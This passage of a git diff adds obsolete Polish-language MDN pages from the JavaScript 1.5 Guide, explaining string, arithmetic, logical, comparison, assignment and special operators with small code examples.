Operatory łańcuchowe </h4> +<p>Oprócz operatorów porównania łańcuchów istnieje operator konkatenacji (+), który konkatenuje dwa łańcuchy zwracając łańcuch będący połączeniem obu argumentów. Na przykład <code>"my " + "string"</code> zwraca łańcuch znaków <code>"my string"</code>. +</p><p>Skróconego operatora += też można używać do konkatenacji łańcuchów. Na przykład jeśli zmienna <code>mystring</code> ma wartość "alpha", to wyrażenie <code>mystring += "bet"</code> przyjmuje wartość "alphabet" i wartość ta jest nadawana zmiennej <code>mystring</code>. +</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory logiczne", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory specjalne") }} +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/String_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_li\u00e9s_aux_cha\u00eenes", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/String_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/String_Operators" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html new file mode 100644 index 0000000000..a9f27489ad --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html @@ -0,0 +1,48 @@ +--- +title: Operatory arytmetyczne +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_arytmetyczne +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h3 id="Operatory_arytmetyczne" name="Operatory_arytmetyczne"> Operatory arytmetyczne </h3> +<p>Operatory arytmetyczne pobierają wartości liczbowe (albo literowy lub zmienny) jako własne argumenty i zwracają pojedynczą wartość liczbową. Podstawowymi operatorami arytmetycznymi są <b>dodawanie (+)</b>, <b>odejmowanie (-)</b>, <b>mnożenie (*)</b>, i <b>dzielenie (/)</b>. Wspomniane operatory działają także w innych językach programowania (oprócz operatora /, który zwraca wynik dzielenia w wartościach dziesiętnych w JavaScript), dzielenie nie zaokrągla wartości dziesiętnej, jak to robi w językach programowania, takich jak C i Java. Na przykład: +</p> +<pre>1/2 //zwraca 0.5 w JavaScript +1/2 //zwraca 0 w Java +</pre> +<p>Uzupełniając, JavaScript dostarcza operatory arytmetyczne wyliczone w poniższej tabeli. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Operator</th> +<th>Opis</th> +<th>Przykład</th> +</tr> +<tr> +<td><b>%</b><br>(Modulo)</td> +<td>Operator bitowy. Zwraca liczbę całkowitą z resztą podczas dzielenie dwóch argumentów.</td> <td>12 % 5 zwraca 2.</td> +</tr> +<tr> +<td><b>++</b><br>(Inkrementacji)</td> +<td>Operator unarny. Zwiększa o jeden argument. Jeśli użyjemy operator z przedrostkiem (<b>++x</b>), zwróci wartość argumentu zwiększonego o jeden; jeśli użyjemy argumentu i za nim przedrostek (<b>x++</b>), zwróci wartość argumentu z przed zwiększenia o jeden.</td> +<td>Jeśli <code><b>x</b></code> jest 3, potem <code><b>++x</b></code> ustawia <code><b>x</b></code> na 4 i zwraca 4, podczas gdy <code><b>x++</b></code> ustawia <code><b>x</b></code> na 4 i zwraca 3.</td> +</tr> +<tr> +<td><b>--</b><br>(Dekrementacji)</td> +<td>Operator unarny. Zmniejszy o jeden argument. Zwracana wartość jest analogiczna do zapisu operatora inkrementacji.</td> +<td>Jeśli <code><b>x</b></code> jest 3, potem <code><b>--x</b></code> ustawia <code><b>x</b></code> na 2 i zwraca 2, podczas gdy <code><b>x++</b></code> ustawia <code><b>x</b></code> na 2 i zwraca 3.</td> +</tr> +<tr> +<td><b>-</b><br>(Negacja unarna)</td> +<td>Operator unarny. Zwraca negacje tego argumentu.</td> +<td>Jeśli <code><b>x</b></code> jest 3, potem <code><b>-x</b></code> zwraca -3.</td> +</tr> +</tbody></table> +<p><small><b>Tabela: Operatory arytmetyczne</b></small> +</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory porównania", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory bitowe") }} +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_aritm\u00e9ticos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_arithm\u00e9tiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html new file mode 100644 index 0000000000..b6f33ac4ff --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html @@ -0,0 +1,72 @@ +--- +title: Operatory logiczne +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_logiczne +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h3 id="Operatory_logiczne" name="Operatory_logiczne"> Operatory logiczne </h3> +<p>Operatory logiczne są typem użytym z wartością Boolean (logiczną); zwracają one wartość logiczną (true lub false). Jednakże, operatory && i || aktualnie zwracają wartość jednego ze określonych argumentów, więc jeśli któryś z tych operatorów jest użyty z wartością nielogiczną, to zwróci wartość nie-logiczną. Operatory logiczne są opisane w następującej tablicy. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Operatory</th> +<th>Użycie</th> +<th>Opis</th> +</tr> +<tr> +<td>&&</td> +<td>expr1 && expr2</td> +<td>(Iloczyn logiczny AND) Zwraca expr1, jeśli jest konwertowany do false; w innym przypadku, zwraca expr2. Tak więc, kiedy użyjemy wartość logiczną, && zwróci true jeśli oba argumenty są true; w innym przypadku, zwróci false.</td> +</tr> +<tr> +<td>||</td> +<td>expr1 || expr2</td> +<td>(Suma logiczna OR) Zwróć expr1, jeśli jest konwertowany do true; w innym wypadku, zwróci expr2 logiczną. Tak więc, kiedy użyjemy wartość || zwróci true, jeśli oba argumenty są prawdziwe; jeśli oba są fałszywe, zwróci false.</td> +</tr> +<tr> +<td>!</td> +<td>!expr</td> +<td>(Negacja logiczna NOT) Zwraca false, jeśli jest pojedynczy argument konwertuje do true; w innym przypadku, zwróci true.</td> +</tr> +</tbody></table> +<p><small><b>Tabela: Operatory logiczne</b></small> +</p><p>Przykłady wyrażeń, które potrafią być konwertowane do false, są to te, które prawie są ocenione do null, 0, pusty łańcuch (""), lub niezidentyfikowany. +</p><p>Następujący kod pokazuje przykład operatora && (logiczny AND). +</p> +<pre>a1=true && true // t && t zwraca true +a2=true && false // t && f zwraca false +a3=false && true // f && t zwraca false +a4=false && (3 == 4) // f && f zwraca false +a5="Cat" && "Dog" // t && t zwraca Dog +a6=false && "Cat" // f && t zwraca false +a7="Cat" && false // t && f zwraca false +</pre> +<p>Następujący kod pokazuje przykład operatora || (logiczny OR). +</p> +<pre>o1=true || true // t || t zwraca true +o2=false || true // f || t zwraca true +o3=true || false // t || f zwraca true +o4=false || (3 == 4) // f || f zwraca false +o5="Cat" || "Dog" // t || t zwraca Cat +o6=false || "Cat" // f || t zwraca Cat +o7="Cat" || false // t || f zwraca Cat +</pre> +<p>Następujący kod pokazuje przykład operatora ! (logiczny NOT). +</p> +<pre>n1=!true // !t zwraca false +n2=!false // !f zwraca true +n3=!"Cat" // !t zwraca false +</pre> +<h4 id="Skr.C3.B3cona_ocena" name="Skr.C3.B3cona_ocena"> Skrócona ocena </h4> +<p>Wyrażenia logiczne są oceniane od lewego do prawego, są one testowane dla ewentualnych "skrótów" potrafiących wykonać wyrażenie wykonując następujące reguły: </p> +<ul><li> <code>false</code> && <i>coś_tam</i> jest skrótem wykonującym wyrażenie fałszywe. </li><li> <code>true</code> || <i>coś_tam</i> jest skrótem wykonującym wyrażenie prawdziwe. +</li></ul> +<p>Zasady te są gwarancją, która te ewolucje zawsze poprawi. Notatka, która część <i>coś_tam</i> z powyższego wyrażenia jest nieoceniana, więc któraś strona nie wykona w pełni warunku jaki został założony. +</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory bitowe", "Przewodnik po języku JavaScript 1.5:Operatory:Operacje na łańcuchach") }} +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_l\u00f3gicos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_logiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html new file mode 100644 index 0000000000..5be8b2d982 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html @@ -0,0 +1,73 @@ +--- +title: Operatory porównania +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_porównania +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h3 id="Operatory_por.C3.B3wnania" name="Operatory_por.C3.B3wnania"> Operatory porównania </h3> +<p>Operator porównania porównuje jego argumenty i zwraca logiczna wartość bazującą na sprawdzeniu czy wartość jest prawdziwa (true). Argumenty są wartościami liczbowymi, łańcuchowymi, logicznymi lub obiektowymi. Wartości łańcuchowe są porównywane z zasadami opartymi na zasadach zawartych w leksykonach, używając wartości Unicode. Poniższa tabela opisuje operatory porównania. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Operator</th> +<th>Opis</th> +<th>Przykłady powrotu true<sup>1</sup></th> +</tr> +<tr> +<td>Jest równe (==)</td> +<td>Zwraca true, jeśli argumenty są równe. Jeśli dwa argumenty nie są tego samego typu, JavaScript próbuje konwertować argument do odpowiedniego typu dla porównania.</td> +<td><code>3 == var1<br> +<p>"3" == var1<br> +</p> +3 == '3'</code></td> +</tr> +<tr> +<td>Nie jest równe (!=)</td> +<td>Zwraca true, jeśli argumenty nie są równe. Jeśli dwa argumenty nie są tego samego typu, JavaScript próbuje konwertować argument do odpowiedniego typu dla porównania.</td> +<td><code>var1 != 4<br> +var2 != "3"</code></td> +</tr> +<tr> +<td>Ściśle równe (===)</td> +<td>Zwraca true, jeśli argumenty są równe i są tego samego typu.</td> +<td><code>3 === var1</code></td> +</tr> +<tr> +<td>Ściśle nie jest równe (!==)</td> +<td>Zwraca true, jeśli argumenty nie są równe i/lub nie są tego samego typu.</td> +<td><code>var1 !== "3"<br> +3 !== '3'</code></td> +</tr> +<tr> +<td>Jest większe (>)</td> +<td>Zwraca true, jeśli lewy argument jest większy niż prawy argument.</td> +<td><code>var2 > var1</code></td> +</tr> +<tr> +<td>Jest większe lub równe (>=)</td> +<td>Zwraca true, jeśli lewy argument jest większy lub równy prawemu argumentowi.</td> +<td><code>var2 >= var1<br> +var1 >= 3</code></td> +</tr> +<tr> +<td>Jest mniejsze (<)</td> +<td>Zwraca true, jeśli lewy argument jest mniejszy niż prawy argument.</td> +<td><code>var1 < var2</code></td> +</tr> +<tr> +<td>Jest mniejsze lub równe (<=)</td> +<td>Zwraca true, jeśli lewy argument jest mniejszy lub równy prawemu argumentowi. </td> +<td><code>var1 <= var2<br> +var2 <= 5</code></td> +</tr> +</tbody></table> +<p><small><b>Tabela: Operatory porównania</b></small> +</p><p><small><sup>1</sup>Ten przykład podsumowuje, że <code>var1</code> ma przydzieloną wartość 3 i <code>var2</code> ma przydzieloną wartość 4.</small> +</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory arytmetyczne") }} +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_comparaci\u00f3n", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_de_comparaison", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html new file mode 100644 index 0000000000..8af382eee6 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html @@ -0,0 +1,67 @@ +--- +title: Operatory przypisania +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_przypisania +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Operatory_przypisania" name="Operatory_przypisania">Operatory przypisania</h3> +<p>Operator przypisania przypisuje wartość do jego lewego argumentu bazującego na wartości z jego prawego argumentu. Zasadnicze znaczenie posiada operator (=), który znaczy 'Przypisanie' i przypisuje wartość prawego argumentu do lewego. Jest to: x = y przypisanie wartości y do x.</p> +<p>Inne operatory przypisania są stenografią dla standardowych operacji, jakie widzimy w poniższej tabeli.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Skrócony operator</th> + <th>Znaczenie</th> + </tr> + <tr> + <td>x += y</td> + <td>x = x + y</td> + </tr> + <tr> + <td>x -= y</td> + <td>x = x - y</td> + </tr> + <tr> + <td>x *= y</td> + <td>x = x * y</td> + </tr> + <tr> + <td>x /= y</td> + <td>x = x / y</td> + </tr> + <tr> + <td>x %= y</td> + <td>x = x % y</td> + </tr> + <tr> + <td>x <<= y</td> + <td>x = x << y</td> + </tr> + <tr> + <td>x >>= y</td> + <td>x = x >> y</td> + </tr> + <tr> + <td>x >>>= y</td> + <td>x = x >>> y</td> + </tr> + <tr> + <td>x &= y</td> + <td>x = x & y</td> + </tr> + <tr> + <td>x ^= y</td> + <td>x = x ^ y</td> + </tr> + <tr> + <td>x |= y</td> + <td>x = x | y</td> + </tr> + </tbody> +</table> +<p><small><b>Tabela: Operatory 'Przypisanie'</b></small></p> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory porównania") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html new file mode 100644 index 0000000000..f50067e328 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html @@ -0,0 +1,227 @@ +--- +title: Operatory specjalne +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_specjalne +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h3 id="Operatory_specjalne" name="Operatory_specjalne"> Operatory specjalne </h3> +<p>JavaScript udostępnia następujące operatory specjalne: +</p> +<ul><li> {{ Anch("Operator warunkowy") }} +</li><li> {{ Anch("Operator przecinka") }} +</li><li> {{ Anch("delete") }} +</li><li> {{ Anch("in") }} +</li><li> {{ Anch("instanceof") }} +</li><li> {{ Anch("new") }} +</li><li> {{ Anch("this") }} +</li><li> {{ Anch("typeof") }} +</li><li> {{ Anch("void") }} +</li></ul> +<h4 id="Operator_warunkowy" name="Operator_warunkowy"> Operator warunkowy </h4> +<p><b>Operator warunkowy</b> jest tylko operatorem JavaScript, który pobiera trzy argumenty. Operator może mieć jedną lub dwie wartości oparte na warunku. Składnia: +</p> +<pre>condition ? val1 : val2 +</pre> +<p>Jeśli <code>condition</code> (warunek) jest prawdziwy (true), operator ma wartość <code>val1</code>. W przeciwnym razie posiada wartość <code>val2</code>. Możesz użyć operatora warunkowego wszędzie, gdzie będziesz używał operatorów standardowych. +</p><p>Na przykład: +</p> +<pre>status = (age >= 18) ? "adult" : "minor" +</pre> +<p>Ta instrukcja przydziela wartość <code>"adult"</code> do <code>status</code>, jeśli posiada osiemnaście lub więcej lat. Z drugiej strony przydzielasz <code>"minor"</code> do <code>status</code>. +</p> +<h4 id="Operator_przecinka" name="Operator_przecinka"> Operator przecinka </h4> +<p>Operator przecinka, prosty poszukujący obu argumentów zwracających drugi argument. Ten operator początkowo używany był wewnątrz pętli <code>for</code>. Pozwalał wielokrotnie na aktualizację zmiennych, za każdym razem kiedy pętla jest wykonywana. </p><p>Na przykład, jeśli <code>a</code> jest 2-u wymiarową tablicą z 10 elementami na stronę, następujący operator przecinkowy to kod użytkownika będący przyrostem dwóch zmiennych na raz. Kod drukuje wartości diagonalne elementów w tablicy: +</p> +<pre>for (var i=0, j=9; i <= 9; i++, j--) + document.writeln("a["+i+","+j+"]= " + a[i*10 +j]) +</pre> +<p>Uwaga te dwuwymiarowe tablice są już nie wspierane. Ten przykład emuluje dwuwymiarowe tablice używając jedno wymiarowej tablicy. +</p> +<h4 id="delete" name="delete"> delete </h4> +<p>Operator delete usuwa obiekty, własności obiektów, lub elementy określone w indeksie tablicy. Składnia: +</p> +<pre>delete objectName +delete objectName.property +delete objectName[index] +delete property // legal only within a with statement +</pre> +<p>gdzie: <code>objectName</code> jest nazwą obiektu, <code>property</code> są to istniejące własności i <code>index</code> reprezentuje liczbę całkowita w lokalizacji z elementem tablicy. </p><p>Czwarta forma jest dopuszczalna tylko wewnątrz instrukcji <code>with</code>, aby usunąć własności z obiektu. +</p><p>Możesz użyć operator <code>delete</code> do usunięcia zmiennych zadeklarowanych bez zastrzeżeń, ale nie te z deklaracją instrukcji <code>var</code>. +</p><p>Jeśli operator <code>delete</code> jest prawidłowy, to ustawienia własności lub usuniętego elementu są nieczytelne (<code>undefined</code>). Operator <code>delete</code> zwraca true, jeśli operacja jest możliwa; zwraca <code>false</code>, jeżeli operacja nie jest możliwa. </p> +<pre>x=42 +var y= 43 +myobj=new Number() +myobj.h=4 // tworzy własności h +delete x // zwraca true (potrafi usunąć, jeśli zadeklarujemy brak zastrzeżeń) +delete y // zwraca false (nie potrafi usunąć jeśli zadeklarujemy z var) +delete Math.PI // zwraca false (nie potrafi usunąć predefiniowanych własności) +delete myobj.h // zwraca true (potrafi usunąć własności zdefiniowane przez użytkownika) +delete myobj // zwraca true (potrafi usunąć, jeśli zadeklarujemy brak zastrzeżeń) +</pre> +<p><b>Usuwanie tablicy elementów</b><br> +Kiedy operator delete usunie elementy tablicy, długość tablicy będzie nadal taka sama. Na przykład, jeśli usuniemy a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} to wciąż jest a{{ mediawiki.external(4) }} i a{{ mediawiki.external(3) }} ale niezdefiniowane. +</p><p>Kiedy operator <code><b>delete</b></code> usuwa element, który jest elementem tablicowym, taki element nie jest dłuższy w tablicy. W następnym przykładzie, trees{{ mediawiki.external(3) }} jest usunięty z <code>delete</code>. +</p> +<pre>trees=new Array("redwood","bay","cedar","oak","maple") +delete trees[3] +if (3 in trees) { + // to nie zadziała +} +</pre> +<p>Jeśli chcesz, aby element tablicy istniał, ale masz nieznaną wartość, użyj słowa kluczowego <code>undefined</code> zamiast operatora <code>delete</code>. W następnym przykładzie, jest przydzielona niezidentyfikowana wartość <code>trees{{ mediawiki.external(3) }}</code>, ale element tablicy nadal istnieje: </p> +<pre>trees=new Array("redwood","bay","cedar","oak","maple") +trees[3]=undefined +if (3 in trees) { + // to zadziała +} +</pre> +<h4 id="in" name="in"> in </h4> +<p>Operator <code>in</code> zwraca <code>true</code>, jeśli specyficzne właściwości są w specyficznym obiekcie. Składnia: </p> +<pre>propNameOrNumber in objectName +</pre> +<p>gdzie: <code>propNameOrNumber</code> jest łańcuchem znaków lub wyrażeniem liczbowym reprezentującym własności nazwy lub index tablicy, <code>objectName</code> jest nazwą obiektu. +</p><p>Następujący przykład używa operatora <code>in</code>. +</p> +<pre>// Tablice +trees=new Array("redwood","bay","cedar","oak","maple") +0 in trees // zwracają true +3 in trees // zwracają true +6 in trees // zwracają false +"bay" in trees // zwracają false (musisz mieć specyficzny numer indeksu, + // nie ma wartości w tym indeksie) +"length" in trees // zwracają true (długość jest własnością tablicy) + +// obiekty predefiniowane +"PI" in Math // zwracają true +myString=new String("coral") +"length" in myString // zwracają true + +// obiekty użytkownika +mycar = {make:"Honda",model:"Accord",year:1998} +"make" in mycar // zwracają true +"model" in mycar // zwracają true +</pre> +<h4 id="instanceof" name="instanceof"> instanceof </h4> +<p>Operator <code>instanceof</code> zwraca <code>true</code>, jeśli konkretny obiekt jest obiektem konkretnego typu. Składnia: </p> +<pre>objectName instanceof objectType +</pre> +<p>gdzie: <code>objectName</code> jest nazwą obiektu do porównania z <code>objectType</code> a <code>objectType</code> jest typem obiektu, jak naprzykład <code>Date</code> lub <code>Array</code>. +</p><p>Używamy <code>instanceof</code>, kiedy potrzebujemy porównać typy uruchomionych obiektów. Na przykład, kiedy wystąpi wyjątek, to można, w zależności od zgłoszonego typu wyjątku rozgałęzić różną obsługę tego wyjątku. +</p><p>Na przykład, następujący kod używa <code>instanceof</code> do określenia czy <code>theDay</code> jest obiektem <code>Date</code>. Ponieważ <code>theDay</code> jest obiektem <code>Date</code>, instrukcja w <code>if</code> jest wykonywana. +</p> +<pre>theDay=new Date(1995, 12, 17) +if (theDay instanceof Date) { + // instrukcja do wykonania +} +</pre> +<h4 id="new" name="new"> new </h4> +<p>Użyj operatora <code>new</code>, aby utworzyć przykład definicji użytkownika typu obiektowego lub jednego z predefiniowanego typu obiektowego <code>Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp</code>, lub <code>String</code>. Na serwerze możesz, używać także z <code>DbPool, Lock, File</code> lub <code>SendMail</code>. Użyj <code>new</code> w następującym kodzie: +</p> +<pre>objectName = new objectType ( param1 [,param2] ...[,paramN] ) +</pre> +<p>Możemy także tworzyć obiekty używając inicjatorów obiektu opisanych na stronie <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjacji obiektu</a>. +</p><p>Zobacz więcej na temat <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_new">operatora new</a> w dokumentacji JavaScript. +</p> +<h4 id="this" name="this"> this </h4> +<p>Użyj słowa kluczowego <code>this</code> do wskazania aktualnego obiektu. Generalnie, <code>this</code> wskazuje nazwę obiektu w metodzie. Używamy go następująco: </p> +<pre>this[.propertyName] +</pre> +<p><b>Przykład 1.</b><br> +Załóżmy że funkcja <code>validate</code> zatwierdza właściwą wartość, przekazując obiekt oraz górny i dolny zakres. </p> +<pre>function validate(obj, lowval, hival) { + if ((obj.value < lowval) || (obj.value > hival)) + alert("Invalid Value!") +} +</pre> +<p>Teraz możesz wywoływać <code>validate</code> w każdym formularzu korzystając z zdarzenia <code>onChange</code>. +Używamy <code>this</code> do przekazania elementu w formularz, tak jak w przykładzie: +</p> +<pre><B>Wprowadź liczbę pomiędzy 18 i 99:</B> +<INPUT TYPE = "text" NAME = "age" SIZE = 3 + onChange="validate(this, 18, 99)"> +</pre> +<p><b>Przykład 2.</b><br> +Kiedy kombinujesz z własnościami <code>form</code>, zostaniesz skierowany do tymczasowego obiektu znajdującego się w obrębie tego formularza. W następującym przykładzie, formularz <code>myForm</code> składa się z obiektu <code>Text</code> i przycisku. Kiedy użytkownik kliknie w przycisk, wartość obiektu <code>Text</code> ustawia się na nazwę formularza. Przycisk zawiera zdarzenie <code>onClick</code> używane za pomocą uchwytu <code>this.form</code> do wywołania go w tym samym formularzu, <code>myForm</code>. +</p> +<pre><FORM NAME="myForm"> +Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> +<P> +<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" + onClick="this.form.text1.value=this.form.name"> +</FORM> +</pre> +<h4 id="typeof" name="typeof"> typeof </h4> +<p>Operator <code>typeof</code> jest użyty w jednej z dwóch sytuacji: +</p> +<pre>1. typeof operand +2. typeof (operand) +</pre> +<p>Operator <code>typeof</code> zwraca łańcuch zwracający typ nie ocenionego argumentu. Argumentem (<code>operand</code>) jest łańcuch, zmienna, słowo kluczowe lub obiekt, dla którego ten typ będzie zwracany. Nawiasy są opcjonalne. </p><p>Przypuśćmy, że zdefiniujemy następujące zmienne: </p> +<pre>var myFun = new Function("5+2") +var shape="round" +var size=1 +var today=new Date() +</pre> +<p>Operator <code>typeof</code> zwraca następujący rezultat dla tych zmiennych: </p> +<pre>typeof myFun is function +typeof shape is string +typeof size is number +typeof today is object +typeof dontExist is undefined +</pre> +<p>Dla słowa kluczowego <code>true</code> i <code>null</code>, operator <code>typeof</code> zwraca następujący rezultat: </p> +<pre>typeof true is boolean +typeof null is object +</pre> +<p>Dla liczby lub łańcucha znaków, operator <code>typeof</code> zwraca następujący rezultat: +</p> +<pre>typeof 62 is number +typeof 'Hello world' is string +</pre> +<p>Dla wartości własności, operator <code>typeof</code> zwraca właściwość stanowiącą typ zmiennej: +</p> +<pre>typeof document.lastModified is string +typeof window.length is number +typeof Math.LN2 is number +</pre> +<p>Dla metod lub funkcji, operator <code>typeof</code> zwraca następujący rezultat: +</p> +<pre>typeof blur is function +typeof eval is function +typeof parseInt is function +typeof shape.split is function +</pre> +<p>Dla obiektów predefiniowanych, operator <code>typeof</code> zwraca następujący rezultat: </p> +<pre>typeof Date is function +typeof Function is function +typeof Math is function +typeof Option is function +typeof String is function +</pre> +<h4 id="void" name="void"> void </h4> +<p>Operator <code>void</code> jest użyty w jednym z następujących przypadków: +</p> +<pre>1. void (expression) +2. void expression +</pre> +<p>Operator <code>void</code> określa wykonane wyrażenie bez zwracania wartości. <code>expression</code> jest wyrażeniem JavaScript do wykonania. Nawiasy otaczające wyrażenie są opcjonalne, jednak dobrym stylem jest ich stosowanie. +</p><p>Możemy zastosować operator <code>void</code> do określenia wyrażenia jako hipertekstowy odnośnik. Wyrażenie jest wykonywane ale nie jest wczytywane w miejsce bieżącego dokumentu. +</p><p>Następujący kod tworzy odnośnik hipertekstowy, który nic nie wywoła w momencie, kiedy użytkownik go kliknie. Kiedy użytkownik kliknie w odnośnik, to wykonane zostanie niezidentyfikowane wyrażenie <code>void(0)</code>, które nie ma żadnego efektu w języku JavaScript. +</p> +<pre><a href="javascript:void(0)">Kliknij tu, nie robiąc nic</a> +</pre> +<p>Następujący kod tworzy odnośnik, który przedłoży (prześle) zawartość formularza w momencie, kiedy użytkownik naciśnie przycisk formularza. +</p> +<pre><a href="javascript:void(document.form.submit())">Kliknij tutaj, aby przesłać zawartość formularza</a> +</pre> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operacje na łańcuchach", "Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory#Pierwszeństwo_operatorów") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_especiales", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_sp\u00e9ciaux", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html new file mode 100644 index 0000000000..2dd4acf285 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html @@ -0,0 +1,47 @@ +--- +title: Podgląd klas LiveConnect +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> +</p> +<h2 id="Podgl.C4.85d_klas_LiveConnect" name="Podgl.C4.85d_klas_LiveConnect"> Podgląd klas LiveConnect </h2> +<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Praca_z_klas%c4%85_opakowuj%c4%85c%c4%85">Praca z klasą opakowującą</a> +</dd></dl> +<dl><dd> <a 